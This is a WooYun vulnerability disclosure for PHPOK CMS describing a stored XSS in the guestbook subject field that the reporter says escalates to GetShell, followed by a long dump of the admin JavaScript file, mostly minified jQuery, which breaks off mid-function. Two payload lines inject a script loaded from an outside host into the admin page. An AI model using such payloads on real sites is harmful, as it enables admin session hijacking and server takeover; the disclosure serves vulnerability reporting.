当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-055559

漏洞标题:PHPOK#XSS利用突破到GetShell第一发

相关厂商:phpok.com

漏洞作者: Tea

提交时间:2014-04-04 18:33

修复时间:2014-07-03 18:34

公开时间:2014-07-03 18:34

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-04: 细节已通知厂商并且等待厂商处理中
2014-04-04: 厂商已经确认,细节仅向厂商公开
2014-04-07: 细节向第三方安全合作伙伴开放
2014-05-29: 细节向核心白帽子及相关领域专家公开
2014-06-08: 细节向普通白帽子公开
2014-06-18: 细节向实习白帽子公开
2014-07-03: 细节向公众公开

简要描述:

数据库对存入进行过滤,但是取出来的时候,仍然可利用XSS完成GetShell.

详细说明:

在线留言功能里面留言主题在存入数据的时候都进行了过滤

1.jpg


数据库内容

2.jpg


数据库的字段长度为255,可以写任何的数据进去操作了
如:

');var s=document.createElement('script');s.src='http://xssi.pw/fPJgOU';document.body.appendChild(s);('


另外:
');load_js('http://xssi.pw/fPJgOU');('
load_js()这个在自己加载的JS里面admin.php?c=js,内容:
<code>var basefile = "admin.php";
var ctrl_id = "c";
var func_id = "f";
var webroot = "http://192.168.84.140/";
var apifile = "api.php";
var lang = new Array();
lang["1001"] = "您好,<b><span style='color:red'>{nickname}</span></b>,确定要退出吗?";
lang["1002"] = "退出异常,请联系管理员";
lang["commentEmpty"] = "评论内容不能为空";
lang["commentSpamEmpty"] = "防灌水验证串不能为空";
lang["commentNotId"] = "未指定要评论的主题ID";
lang["commentSuccess"] = "您的评论发布成功";
function get_url(ctrl, func, ext) {
var url = "http://192.168.84.140/admin.php?c=" + ctrl;
if (func) {
url += "&f=" + func;
};
if (ext) {
url += "&" + ext
};
return url;
}
function api_url(ctrl, func, ext) {
var url = "http://192.168.84.140/api.php?c=" + ctrl;
if (func) {
url += "&f=" + func;
};
if (ext) {
url += "&" + ext
};
return url;
};
function api_plugin_url(id, func, ext) {
var url = "http://192.168.84.140/api.php?c=plugin&f=index&id=" + id + "&exec=" + func;
if (ext) {
url += "&" + ext
};
return url;
};
/*! jQuery v1.7.1 jquery.com | jquery.org/license */
(function(a, b) {
function cy(a) {
return f.isWindow(a) ? a: a.nodeType === 9 ? a.defaultView || a.parentWindow: !1
}
function cv(a) {
if (!ck[a]) {
var b = c.body,
d = f("<" + a + ">").appendTo(b),
e = d.css("display");
d.remove();
if (e === "none" || e === "") {
cl || (cl = c.createElement("iframe"), cl.frameBorder = cl.width = cl.height = 0),
b.appendChild(cl);
if (!cm || !cl.createElement) cm = (cl.contentWindow || cl.contentDocument).document,
cm.write((c.compatMode === "CSS1Compat" ? "<!doctype html>": "") + "<html><body>"),
cm.close();
d = cm.createElement(a),
cm.body.appendChild(d),
e = f.css(d, "display"),
b.removeChild(cl)
}
ck[a] = e
}
return ck[a]
}
function cu(a, b) {
var c = {};
f.each(cq.concat.apply([], cq.slice(0, b)),
function() {
c[this] = a
});
return c
}
function ct() {
cr = b
}
function cs() {
setTimeout(ct, 0);
return cr = f.now()
}
function cj() {
try {
return new a.ActiveXObject("Microsoft.XMLHTTP")
} catch(b) {}
}
function ci() {
try {
return new a.XMLHttpRequest
} catch(b) {}
}
function cc(a, c) {
a.dataFilter && (c = a.dataFilter(c, a.dataType));
var d = a.dataTypes,
e = {},
g, h, i = d.length,
j, k = d[0],
l,
m,
n,
o,
p;
for (g = 1; g < i; g++) {
if (g === 1) for (h in a.converters) typeof h == "string" && (e[h.toLowerCase()] = a.converters[h]);
l = k,
k = d[g];
if (k === "*") k = l;
else if (l !== "*" && l !== k) {
m = l + " " + k,
n = e[m] || e["* " + k];
if (!n) {
p = b;
for (o in e) {
j = o.split(" ");
if (j[0] === l || j[0] === "*") {
p = e[j[1] + " " + k];
if (p) {
o = e[o],
o === !0 ? n = p: p === !0 && (n = o);
break
}
}
}
} ! n && !p && f.error("No conversion from " + m.replace(" ", " to ")),
n !== !0 && (c = n ? n(c) : p(o(c)))
}
}
return c
}
function cb(a, c, d) {
var e = a.contents,
f = a.dataTypes,
g = a.responseFields,
h, i, j, k;
for (i in g) i in d && (c[g[i]] = d[i]);
while (f[0] === "*") f.shift(),
h === b && (h = a.mimeType || c.getResponseHeader("content-type"));
if (h) for (i in e) if (e[i] && e[i].test(h)) {
f.unshift(i);
break
}
if (f[0] in d) j = f[0];
else {
for (i in d) {
if (!f[0] || a.converters[i + " " + f[0]]) {
j = i;
break
}
k || (k = i)
}
j = j || k
}
if (j) {
j !== f[0] && f.unshift(j);
return d[j]
}
}
function ca(a, b, c, d) {
if (f.isArray(b)) f.each(b,
function(b, e) {
c || bE.test(a) ? d(a, e) : ca(a + "[" + (typeof e == "object" || f.isArray(e) ? b: "") + "]", e, c, d)
});
else if (!c && b != null && typeof b == "object") for (var e in b) ca(a + "[" + e + "]", b[e], c, d);
else d(a, b)
}
function b_(a, c) {
var d, e, g = f.ajaxSettings.flatOptions || {};
for (d in c) c[d] !== b && ((g[d] ? a: e || (e = {}))[d] = c[d]);
e && f.extend(!0, a, e)
}
function b$(a, c, d, e, f, g) {
f = f || c.dataTypes[0],
g = g || {},
g[f] = !0;
var h = a[f],
i = 0,
j = h ? h.length: 0,
k = a === bT,
l;
for (; i < j && (k || !l); i++) l = h[i](c, d, e),
typeof l == "string" && (!k || g[l] ? l = b: (c.dataTypes.unshift(l), l = b$(a, c, d, e, l, g))); (k || !l) && !g["*"] && (l = b$(a, c, d, e, "*", g));
return l
}
function bZ(a) {
return function(b, c) {
typeof b != "string" && (c = b, b = "*");
if (f.isFunction(c)) {
var d = b.toLowerCase().split(bP),
e = 0,
g = d.length,
h,
i,
j;
for (; e < g; e++) h = d[e],
j = /^\+/.test(h),
j && (h = h.substr(1) || "*"),
i = a[h] = a[h] || [],
i[j ? "unshift": "push"](c)
}
}
}
function bC(a, b, c) {
var d = b === "width" ? a.offsetWidth: a.offsetHeight,
e = b === "width" ? bx: by,
g = 0,
h = e.length;
if (d > 0) {
if (c !== "border") for (; g < h; g++) c || (d -= parseFloat(f.css(a, "padding" + e[g])) || 0),
c === "margin" ? d += parseFloat(f.css(a, c + e[g])) || 0 : d -= parseFloat(f.css(a, "border" + e[g] + "Width")) || 0;
return d + "px"
}
d = bz(a, b, b);
if (d < 0 || d == null) d = a.style[b] || 0;
d = parseFloat(d) || 0;
if (c) for (; g < h; g++) d += parseFloat(f.css(a, "padding" + e[g])) || 0,
c !== "padding" && (d += parseFloat(f.css(a, "border" + e[g] + "Width")) || 0),
c === "margin" && (d += parseFloat(f.css(a, c + e[g])) || 0);
return d + "px"
}
function bp(a, b) {
b.src ? f.ajax({
url: b.src,
async: !1,
dataType: "script"
}) : f.globalEval((b.text || b.textContent || b.innerHTML || "").replace(bf, "/*$0*/")),
b.parentNode && b.parentNode.removeChild(b)
}
function bo(a) {
var b = c.createElement("div");
bh.appendChild(b),
b.innerHTML = a.outerHTML;
return b.firstChild
}
function bn(a) {
var b = (a.nodeName || "").toLowerCase();
b === "input" ? bm(a) : b !== "script" && typeof a.getElementsByTagName != "undefined" && f.grep(a.getElementsByTagName("input"), bm)
}
function bm(a) {
if (a.type === "checkbox" || a.type === "radio") a.defaultChecked = a.checked
}
function bl(a) {
return typeof a.getElementsByTagName != "undefined" ? a.getElementsByTagName("*") : typeof a.querySelectorAll != "undefined" ? a.querySelectorAll("*") : []
}
function bk(a, b) {
var c;
if (b.nodeType === 1) {
b.clearAttributes && b.clearAttributes(),
b.mergeAttributes && b.mergeAttributes(a),
c = b.nodeName.toLowerCase();
if (c === "object") b.outerHTML = a.outerHTML;
else if (c !== "input" || a.type !== "checkbox" && a.type !== "radio") {
if (c === "option") b.selected = a.defaultSelected;
else if (c === "input" || c === "textarea") b.defaultValue = a.defaultValue
} else a.checked && (b.defaultChecked = b.checked = a.checked),
b.value !== a.value && (b.value = a.value);
b.removeAttribute(f.expando)
}
}
function bj(a, b) {
if (b.nodeType === 1 && !!f.hasData(a)) {
var c, d, e, g = f._data(a),
h = f._data(b, g),
i = g.events;
if (i) {
delete h.handle,
h.events = {};
for (c in i) for (d = 0, e = i[c].length; d < e; d++) f.event.add(b, c + (i[c][d].namespace ? ".": "") + i[c][d].namespace, i[c][d], i[c][d].data)
}
h.data && (h.data = f.extend({},
h.data))
}
}
function bi(a, b) {
return f.nodeName(a, "table") ? a.getElementsByTagName("tbody")[0] || a.appendChild(a.ownerDocument.createElement("tbody")) : a
}
function U(a) {
var b = V.split("|"),
c = a.createDocumentFragment();
if (c.createElement) while (b.length) c.createElement(b.pop());
return c
}
function T(a, b, c) {
b = b || 0;
if (f.isFunction(b)) return f.grep(a,
function(a, d) {
var e = !!b.call(a, d, a);
return e === c
});
if (b.nodeType) return f.grep(a,
function(a, d) {
return a === b === c
});
if (typeof b == "string") {
var d = f.grep(a,
function(a) {
return a.nodeType === 1
});
if (O.test(b)) return f.filter(b, d, !c);
b = f.filter(b, d)
}
return f.grep(a,
function(a, d) {
return f.inArray(a, b) >= 0 === c
})
}
function S(a) {
return ! a || !a.parentNode || a.parentNode.nodeType === 11
}
function K() {
return ! 0
}
function J() {
return ! 1
}
function n(a, b, c) {
var d = b + "defer",
e = b + "queue",
g = b + "mark",
h = f._data(a, d);
h && (c === "queue" || !f._data(a, e)) && (c === "mark" || !f._data(a, g)) && setTimeout(function() { ! f._data(a, e) && !f._data(a, g) && (f.removeData(a, d, !0), h.fire())
},
0)
}
function m(a) {
for (var b in a) {
if (b === "data" && f.isEmptyObject(a[b])) continue;
if (b !== "toJSON") return ! 1
}
return ! 0
}
function l(a, c, d) {
if (d === b && a.nodeType === 1) {
var e = "data-" + c.replace(k, "-$1").toLowerCase();
d = a.getAttribute(e);
if (typeof d == "string") {
try {
d = d === "true" ? !0 : d === "false" ? !1 : d === "null" ? null: f.isNumeric(d) ? parseFloat(d) : j.test(d) ? f.parseJSON(d) : d
} catch(g) {}
f.data(a, c, d)
} else d = b
}
return d
}
function h(a) {
var b = g[a] = {},
c,
d;
a = a.split(/\s+/);
for (c = 0, d = a.length; c < d; c++) b[a[c]] = !0;
return b
}
var c = a.document,
d = a.navigator,
e = a.location,
f = function() {
function J() {
if (!e.isReady) {
try {
c.documentElement.doScroll("left")
} catch(a) {
setTimeout(J, 1);
return
}
e.ready()
}
}
var e = function(a, b) {
return new e.fn.init(a, b, h)
},
f = a.jQuery,
g = a.$,
h,
i = /^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,
j = /\S/,
k = /^\s+/,
l = /\s+$/,
m = /^<(\w+)\s*\/?>(?:<\/\1>)?$/,
n = /^[\],:{}\s]*$/,
o = /\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,
p = /"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,
q = /(?:^|:|,)(?:\s*\[)+/g,
r = /(webkit)[ \/]([\w.]+)/,
s = /(opera)(?:.*version)?[ \/]([\w.]+)/,
t = /(msie) ([\w.]+)/,
u = /(mozilla)(?:.*? rv:([\w.]+))?/,
v = /-([a-z]|[0-9])/ig,
w = /^-ms-/,
x = function(a, b) {
return (b + "").toUpperCase()
},
y = d.userAgent,
z,
A,
B,
C = Object.prototype.toString,
D = Object.prototype.hasOwnProperty,
E = Array.prototype.push,
F = Array.prototype.slice,
G = String.prototype.trim,
H = Array.prototype.indexOf,
I = {};
e.fn = e.prototype = {
constructor: e,
init: function(a, d, f) {
var g, h, j, k;
if (!a) return this;
if (a.nodeType) {
this.context = this[0] = a,
this.length = 1;
return this
}
if (a === "body" && !d && c.body) {
this.context = c,
this[0] = c.body,
this.selector = a,
this.length = 1;
return this
}
if (typeof a == "string") {
a.charAt(0) !== "<" || a.charAt(a.length - 1) !== ">" || a.length < 3 ? g = i.exec(a) : g = [null, a, null];
if (g && (g[1] || !d)) {
if (g[1]) {
d = d instanceof e ? d[0] : d,
k = d ? d.ownerDocument || d: c,
j = m.exec(a),
j ? e.isPlainObject(d) ? (a = [c.createElement(j[1])], e.fn.attr.call(a, d, !0)) : a = [k.createElement(j[1])] : (j = e.buildFragment([g[1]], [k]), a = (j.cacheable ? e.clone(j.fragment) : j.fragment).childNodes);
return e.merge(this, a)
}
h = c.getElementById(g[2]);
if (h && h.parentNode) {
if (h.id !== g[2]) return f.find(a);
this.length = 1,
this[0] = h
}
this.context = c,
this.selector = a;
return this
}
return ! d || d.jquery ? (d || f).find(a) : this.constructor(d).find(a)
}
if (e.isFunction(a)) return f.ready(a);
a.selector !== b && (this.selector = a.selector, this.context = a.context);
return e.makeArray(a, this)
},
selector: "",
jquery: "1.7.1",
length: 0,
size: function() {
return this.length
},
toArray: function() {
return F.call(this, 0)
},
get: function(a) {
return a == null ? this.toArray() : a < 0 ? this[this.length + a] : this[a]
},
pushStack: function(a, b, c) {
var d = this.constructor();
e.isArray(a) ? E.apply(d, a) : e.merge(d, a),
d.prevObject = this,
d.context = this.context,
b === "find" ? d.selector = this.selector + (this.selector ? " ": "") + c: b && (d.selector = this.selector + "." + b + "(" + c + ")");
return d
},
each: function(a, b) {
return e.each(this, a, b)
},
ready: function(a) {
e.bindReady(),
A.add(a);
return this
},
eq: function(a) {
a = +a;
return a === -1 ? this.slice(a) : this.slice(a, a + 1)
},
first: function() {
return this.eq(0)
},
last: function() {
return this.eq( - 1)
},
slice: function() {
return this.pushStack(F.apply(this, arguments), "slice", F.call(arguments).join(","))
},
map: function(a) {
return this.pushStack(e.map(this,
function(b, c) {
return a.call(b, c, b)
}))
},
end: function() {
return this.prevObject || this.constructor(null)
},
push: E,
sort: [].sort,
splice: [].splice
},
e.fn.init.prototype = e.fn,
e.extend = e.fn.extend = function() {
var a, c, d, f, g, h, i = arguments[0] || {},
j = 1,
k = arguments.length,
l = !1;
typeof i == "boolean" && (l = i, i = arguments[1] || {},
j = 2),
typeof i != "object" && !e.isFunction(i) && (i = {}),
k === j && (i = this, --j);
for (; j < k; j++) if ((a = arguments[j]) != null) for (c in a) {
d = i[c],
f = a[c];
if (i === f) continue;
l && f && (e.isPlainObject(f) || (g = e.isArray(f))) ? (g ? (g = !1, h = d && e.isArray(d) ? d: []) : h = d && e.isPlainObject(d) ? d: {},
i[c] = e.extend(l, h, f)) : f !== b && (i[c] = f)
}
return i
},
e.extend({
noConflict: function(b) {
a.$ === e && (a.$ = g),
b && a.jQuery === e && (a.jQuery = f);
return e
},
isReady: !1,
readyWait: 1,
holdReady: function(a) {
a ? e.readyWait++:e.ready(!0)
},
ready: function(a) {
if (a === !0 && !--e.readyWait || a !== !0 && !e.isReady) {
if (!c.body) return setTimeout(e.ready, 1);
e.isReady = !0;
if (a !== !0 && --e.readyWait > 0) return;
A.fireWith(c, [e]),
e.fn.trigger && e(c).trigger("ready").off("ready")
}
},
bindReady: function() {
if (!A) {
A = e.Callbacks("once memory");
if (c.readyState === "complete") return setTimeout(e.ready, 1);
if (c.addEventListener) c.addEventListener("DOMContentLoaded", B, !1),
a.addEventListener("load", e.ready, !1);
else if (c.attachEvent) {
c.attachEvent("onreadystatechange", B),
a.attachEvent("onload", e.ready);
var b = !1;
try {
b = a.frameElement == null
} catch(d) {}
c.documentElement.doScroll && b && J()
}
}
},
isFunction: function(a) {
return e.type(a) === "function"
},
isArray: Array.isArray ||
function(a) {
return e.type(a) === "array"
},
isWindow: function(a) {
return a && typeof a == "object" && "setInterval" in a
},
isNumeric: function(a) {
return ! isNaN(parseFloat(a)) && isFinite(a)
},
type: function(a) {
return a == null ? String(a) : I[C.call(a)] || "object"
},
isPlainObject: function(a) {
if (!a || e.type(a) !== "object" || a.nodeType || e.isWindow(a)) return ! 1;
try {
if (a.constructor && !D.call(a, "constructor") && !D.call(a.constructor.prototype, "isPrototypeOf")) return ! 1
} catch(c) {
return ! 1
}
var d;
for (d in a);
return d === b || D.call(a, d)
},
isEmptyObject: function(a) {
for (var b in a) return ! 1;
return ! 0
},
error: function(a) {
throw new Error(a)
},
parseJSON: function(b) {
if (typeof b != "string" || !b) return null;
b = e.trim(b);
if (a.JSON && a.JSON.parse) return a.JSON.parse(b);
if (n.test(b.replace(o, "@").replace(p, "]").replace(q, ""))) return (new Function("return " + b))();
e.error("Invalid JSON: " + b)
},
parseXML: function(c) {
var d, f;
try {
a.DOMParser ? (f = new DOMParser, d = f.parseFromString(c, "text/xml")) : (d = new ActiveXObject("Microsoft.XMLDOM"), d.async = "false", d.loadXML(c))
} catch(g) {
d = b
} (!d || !d.documentElement || d.getElementsByTagName("parsererror").length) && e.error("Invalid XML: " + c);
return d
},
noop: function() {},
globalEval: function(b) {
b && j.test(b) && (a.execScript ||
function(b) {
a.eval.call(a, b)
})(b)
},
camelCase: function(a) {
return a.replace(w, "ms-").replace(v, x)
},
nodeName: function(a, b) {
return a.nodeName && a.nodeName.toUpperCase() === b.toUpperCase()
},
each: function(a, c, d) {
var f, g = 0,
h = a.length,
i = h === b || e.isFunction(a);
if (d) {
if (i) {
for (f in a) if (c.apply(a[f], d) === !1) break
} else for (; g < h;) if (c.apply(a[g++], d) === !1) break
} else if (i) {
for (f in a) if (c.call(a[f], f, a[f]) === !1) break
} else for (; g < h;) if (c.call(a[g], g, a[g++]) === !1) break;
return a
},
trim: G ?
function(a) {
return a == null ? "": G.call(a)
}: function(a) {
return a == null ? "": (a + "").replace(k, "").replace(l, "")
},
makeArray: function(a, b) {
var c = b || [];
if (a != null) {
var d = e.type(a);
a.length == null || d === "string" || d === "function" || d === "regexp" || e.isWindow(a) ? E.call(c, a) : e.merge(c, a)
}
return c
},
inArray: function(a, b, c) {
var d;
if (b) {
if (H) return H.call(b, a, c);
d = b.length,
c = c ? c < 0 ? Math.max(0, d + c) : c: 0;
for (; c < d; c++) if (c in b && b[c] === a) return c
}
return - 1
},
merge: function(a, c) {
var d = a.length,
e = 0;
if (typeof c.length == "number") for (var f = c.length; e < f; e++) a[d++] = c[e];
else while (c[e] !== b) a[d++] = c[e++];
a.length = d;
return a
},
grep: function(a, b, c) {
var d = [],
e;
c = !!c;
for (var f = 0,
g = a.length; f < g; f++) e = !!b(a[f], f),
c !== e && d.push(a[f]);
return d
},
map: function(a, c, d) {
var f, g, h = [],
i = 0,
j = a.length,
k = a instanceof e || j !== b && typeof j == "number" && (j > 0 && a[0] && a[j - 1] || j === 0 || e.isArray(a));
if (k) for (; i < j; i++) f = c(a[i], i, d),
f != null && (h[h.length] = f);
else for (g in a) f = c(a[g], g, d),
f != null && (h[h.length] = f);
return h.concat.apply([], h)
},
guid: 1,
proxy: function(a, c) {
if (typeof c == "string") {
var d = a[c];
c = a,
a = d
}
if (!e.isFunction(a)) return b;
var f = F.call(arguments, 2),
g = function() {
return a.apply(c, f.concat(F.call(arguments)))
};
g.guid = a.guid = a.guid || g.guid || e.guid++;
return g
},
access: function(a, c, d, f, g, h) {
var i = a.length;
if (typeof c == "object") {
for (var j in c) e.access(a, j, c[j], f, g, d);
return a
}
if (d !== b) {
f = !h && f && e.isFunction(d);
for (var k = 0; k < i; k++) g(a[k], c, f ? d.call(a[k], k, g(a[k], c)) : d, h);
return a
}
return i ? g(a[0], c) : b
},
now: function() {
return (new Date).getTime()
},
uaMatch: function(a) {
a = a.toLowerCase();
var b = r.exec(a) || s.exec(a) || t.exec(a) || a.indexOf("compatible") < 0 && u.exec(a) || [];
return {
browser: b[1] || "",
version: b[2] || "0"
}
},
sub: function() {
function a(b, c) {
return new a.fn.init(b, c)
}
e.extend(!0, a, this),
a.superclass = this,
a.fn = a.prototype = this(),
a.fn.constructor = a,
a.sub = this.sub,
a.fn.init = function(d, f) {
f && f instanceof e && !(f instanceof a) && (f = a(f));
return e.fn.init.call(this, d, f, b)
},
a.fn.init.prototype = a.fn;
var b = a(c);
return a
},
browser: {}
}),
e.each("Boolean Number String Function Array Date RegExp Object".split(" "),
function(a, b) {
I["[object " + b + "]"] = b.toLowerCase()
}),
z = e.uaMatch(y),
z.browser && (e.browser[z.browser] = !0, e.browser.version = z.version),
e.browser.webkit && (e.browser.safari = !0),
j.test(" ") && (k = /^[\s\xA0]+/, l = /[\s\xA0]+$/),
h = e(c),
c.addEventListener ? B = function() {
c.removeEventListener("DOMContentLoaded", B, !1),
e.ready()
}: c.attachEvent && (B = function() {
c.readyState === "complete" && (c.detachEvent("onreadystatechange", B), e.ready())
});
return e
} (),
g = {};
f.Callbacks = function(a) {
a = a ? g[a] || h(a) : {};
var c = [],
d = [],
e,
i,
j,
k,
l,
m = function(b) {
var d, e, g, h, i;
for (d = 0, e = b.length; d < e; d++) g = b[d],
h = f.type(g),
h === "array" ? m(g) : h === "function" && (!a.unique || !o.has(g)) && c.push(g)
},
n = function(b, f) {
f = f || [],
e = !a.memory || [b, f],
i = !0,
l = j || 0,
j = 0,
k = c.length;
for (; c && l < k; l++) if (c[l].apply(b, f) === !1 && a.stopOnFalse) {
e = !0;
break
}
i = !1,
c && (a.once ? e === !0 ? o.disable() : c = [] : d && d.length && (e = d.shift(), o.fireWith(e[0], e[1])))
},
o = {
add: function() {
if (c) {
var a = c.length;
m(arguments),
i ? k = c.length: e && e !== !0 && (j = a, n(e[0], e[1]))
}
return this
},
remove: function() {
if (c) {
var b = arguments,
d = 0,
e = b.length;
for (; d < e; d++) for (var f = 0; f < c.length; f++) if (b[d] === c[f]) {
i && f <= k && (k--, f <= l && l--),
c.splice(f--, 1);
if (a.unique) break
}
}
return this
},
has: function(a) {
if (c) {
var b = 0,
d = c.length;
for (; b < d; b++) if (a === c[b]) return ! 0
}
return ! 1
},
empty: function() {
c = [];
return this
},
disable: function() {
c = d = e = b;
return this
},
disabled: function() {
return ! c
},
lock: function() {
d = b,
(!e || e === !0) && o.disable();
return this
},
locked: function() {
return ! d
},
fireWith: function(b, c) {
d && (i ? a.once || d.push([b, c]) : (!a.once || !e) && n(b, c));
return this
},
fire: function() {
o.fireWith(this, arguments);
return this
},
fired: function() {
return !! e
}
};
return o
};
var i = [].slice;
f.extend({
Deferred: function(a) {
var b = f.Callbacks("once memory"),
c = f.Callbacks("once memory"),
d = f.Callbacks("memory"),
e = "pending",
g = {
resolve: b,
reject: c,
notify: d
},
h = {
done: b.add,
fail: c.add,
progress: d.add,
state: function() {
return e
},
isResolved: b.fired,
isRejected: c.fired,
then: function(a, b, c) {
i.done(a).fail(b).progress(c);
return this
},
always: function() {
i.done.apply(i, arguments).fail.apply(i, arguments);
return this
},
pipe: function(a, b, c) {
return f.Deferred(function(d) {
f.each({
done: [a, "resolve"],
fail: [b, "reject"],
progress: [c, "notify"]
},
function(a, b) {
var c = b[0],
e = b[1],
g;
f.isFunction(c) ? i[a](function() {
g = c.apply(this, arguments),
g && f.isFunction(g.promise) ? g.promise().then(d.resolve, d.reject, d.notify) : d[e + "With"](this === i ? d: this, [g])
}) : i[a](d[e])
})
}).promise()
},
promise: function(a) {
if (a == null) a = h;
else for (var b in h) a[b] = h[b];
return a
}
},
i = h.promise({}),
j;
for (j in g) i[j] = g[j].fire,
i[j + "With"] = g[j].fireWith;
i.done(function() {
e = "resolved"
},
c.disable, d.lock).fail(function() {
e = "rejected"
},
b.disable, d.lock),
a && a.call(i, i);
return i
},
when: function(a) {
function m(a) {
return function(b) {
e[a] = arguments.length > 1 ? i.call(arguments, 0) : b,
j.notifyWith(k, e)
}
}
function l(a) {
return function(c) {
b[a] = arguments.length > 1 ? i.call(arguments, 0) : c,
--g || j.resolveWith(j, b)
}
}
var b = i.call(arguments, 0),
c = 0,
d = b.length,
e = Array(d),
g = d,
h = d,
j = d <= 1 && a && f.isFunction(a.promise) ? a: f.Deferred(),
k = j.promise();
if (d > 1) {
for (; c < d; c++) b[c] && b[c].promise && f.isFunction(b[c].promise) ? b[c].promise().then(l(c), j.reject, m(c)) : --g;
g || j.resolveWith(j, b)
} else j !== a && j.resolveWith(j, d ? [a] : []);
return k
}
}),
f.support = function() {
var b, d, e, g, h, i, j, k, l, m, n, o, p, q = c.createElement("div"),
r = c.documentElement;
q.setAttribute("className", "t"),
q.innerHTML = " <link/><table></table><a href='/a' style='top:1px;float:left;opacity:.55;'>a</a><input type='checkbox'/>",
d = q.getElementsByTagName("*"),
e = q.getElementsByTagName("a")[0];
if (!d || !d.length || !e) return {};
g = c.createElement("select"),
h = g.appendChild(c.createElement("option")),
i = q.getElementsByTagName("input")[0],
b = {
leadingWhitespace: q.firstChild.nodeType === 3,
tbody: !q.getElementsByTagName("tbody").length,
htmlSerialize: !!q.getElementsByTagName("link").length,
style: /top/.test(e.getAttribute("style")),
hrefNormalized: e.getAttribute("href") === "/a",
opacity: /^0.55/.test(e.style.opacity),
cssFloat: !!e.style.cssFloat,
checkOn: i.value === "on",
optSelected: h.selected,
getSetAttribute: q.className !== "t",
enctype: !!c.createElement("form").enctype,
html5Clone: c.createElement("nav").cloneNode(!0).outerHTML !== "<:nav></:nav>",
submitBubbles: !0,
changeBubbles: !0,
focusinBubbles: !1,
deleteExpando: !0,
noCloneEvent: !0,
inlineBlockNeedsLayout: !1,
shrinkWrapBlocks: !1,
reliableMarginRight: !0
},
i.checked = !0,
b.noCloneChecked = i.cloneNode(!0).checked,
g.disabled = !0,
b.optDisabled = !h.disabled;
try {
delete q.test
} catch(s) {
b.deleteExpando = !1
} ! q.addEventListener && q.attachEvent && q.fireEvent && (q.attachEvent("onclick",
function() {
b.noCloneEvent = !1
}), q.cloneNode(!0).fireEvent("onclick")),
i = c.createElement("input"),
i.value = "t",
i.setAttribute("type", "radio"),
b.radioValue = i.value === "t",
i.setAttribute("checked", "checked"),
q.appendChild(i),
k = c.createDocumentFragment(),
k.appendChild(q.lastChild),
b.checkClone = k.cloneNode(!0).cloneNode(!0).lastChild.checked,
b.appendChecked = i.checked,
k.removeChild(i),
k.appendChild(q),
q.innerHTML = "",
a.getComputedStyle && (j = c.createElement("div"), j.style.width = "0", j.style.marginRight = "0", q.style.width = "2px", q.appendChild(j), b.reliableMarginRight = (parseInt((a.getComputedStyle(j, null) || {
marginRight: 0
}).marginRight, 10) || 0) === 0);
if (q.attachEvent) for (o in {
submit: 1,
change: 1,
focusin: 1
}) n = "on" + o,
p = n in q,
p || (q.setAttribute(n, "return;"), p = typeof q[n] == "function"),
b[o + "Bubbles"] = p;
k.removeChild(q),
k = g = h = j = q = i = null,
f(function() {
var a, d, e, g, h, i, j, k, m, n, o, r = c.getElementsByTagName("body")[0]; ! r || (j = 1, k = "position:absolute;top:0;left:0;width:1px;height:1px;margin:0;", m = "visibility:hidden;border:0;", n = "style='" + k + "border:5px solid #000;padding:0;'", o = "<div " + n + "><div></div></div>" + "<table " + n + " cellpadding='0' cellspacing='0'>" + "<tr><td></td></tr></table>", a = c.createElement("div"), a.style.cssText = m + "width:0;height:0;position:static;top:0;margin-top:" + j + "px", r.insertBefore(a, r.firstChild), q = c.createElement("div"), a.appendChild(q), q.innerHTML = "<table><tr><td style='padding:0;border:0;display:none'></td><td>t</td></tr></table>", l = q.getElementsByTagName("td"), p = l[0].offsetHeight === 0, l[0].style.display = "", l[1].style.display = "none", b.reliableHiddenOffsets = p && l[0].offsetHeight === 0, q.innerHTML = "", q.style.width = q.style.paddingLeft = "1px", f.boxModel = b.boxModel = q.offsetWidth === 2, typeof q.style.zoom != "undefined" && (q.style.display = "inline", q.style.zoom = 1, b.inlineBlockNeedsLayout = q.offsetWidth === 2, q.style.display = "", q.innerHTML = "<div style='width:4px;'></div>", b.shrinkWrapBlocks = q.offsetWidth !== 2), q.style.cssText = k + m, q.innerHTML = o, d = q.firstChild, e = d.firstChild, h = d.nextSibling.firstChild.firstChild, i = {
doesNotAddBorder: e.offsetTop !== 5,
doesAddBorderForTableAndCells: h.offsetTop === 5
},
e.style.position = "fixed", e.style.top = "20px", i.fixedPosition = e.offsetTop === 20 || e.offsetTop === 15, e.style.position = e.style.top = "", d.style.overflow = "hidden", d.style.position = "relative", i.subtractsBorderForOverflowNotVisible = e.offsetTop === -5, i.doesNotIncludeMarginInBodyOffset = r.offsetTop !== j, r.removeChild(a), q = a = null, f.extend(b, i))
});
return b
} ();
var j = /^(?:\{.*\}|\[.*\])$/,
k = /([A-Z])/g;
f.extend({
cache: {},
uuid: 0,
expando: "jQuery" + (f.fn.jquery + Math.random()).replace(/\D/g, ""),
noData: {
embed: !0,
object: "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",
applet: !0
},
hasData: function(a) {
a = a.nodeType ? f.cache[a[f.expando]] : a[f.expando];
return !! a && !m(a)
},
data: function(a, c, d, e) {
if ( !! f.acceptData(a)) {
var g, h, i, j = f.expando,
k = typeof c == "string",
l = a.nodeType,
m = l ? f.cache: a,
n = l ? a[j] : a[j] && j,
o = c === "events";
if ((!n || !m[n] || !o && !e && !m[n].data) && k && d === b) return;
n || (l ? a[j] = n = ++f.uuid: n = j),
m[n] || (m[n] = {},
l || (m[n].toJSON = f.noop));
if (typeof c == "object" || typeof c == "function") e ? m[n] = f.extend(m[n], c) : m[n].data = f.extend(m[n].data, c);
g = h = m[n],
e || (h.data || (h.data = {}), h = h.data),
d !== b && (h[f.camelCase(c)] = d);
if (o && !h[c]) return g.events;
k ? (i = h[c], i == null && (i = h[f.camelCase(c)])) : i = h;
return i
}
},
removeData: function(a, b, c) {
if ( !! f.acceptData(a)) {
var d, e, g, h = f.expando,
i = a.nodeType,
j = i ? f.cache: a,
k = i ? a[h] : h;
if (!j[k]) return;
if (b) {
d = c ? j[k] : j[k].data;
if (d) {
f.isArray(b) || (b in d ? b = [b] : (b = f.camelCase(b), b in d ? b = [b] : b = b.split(" ")));
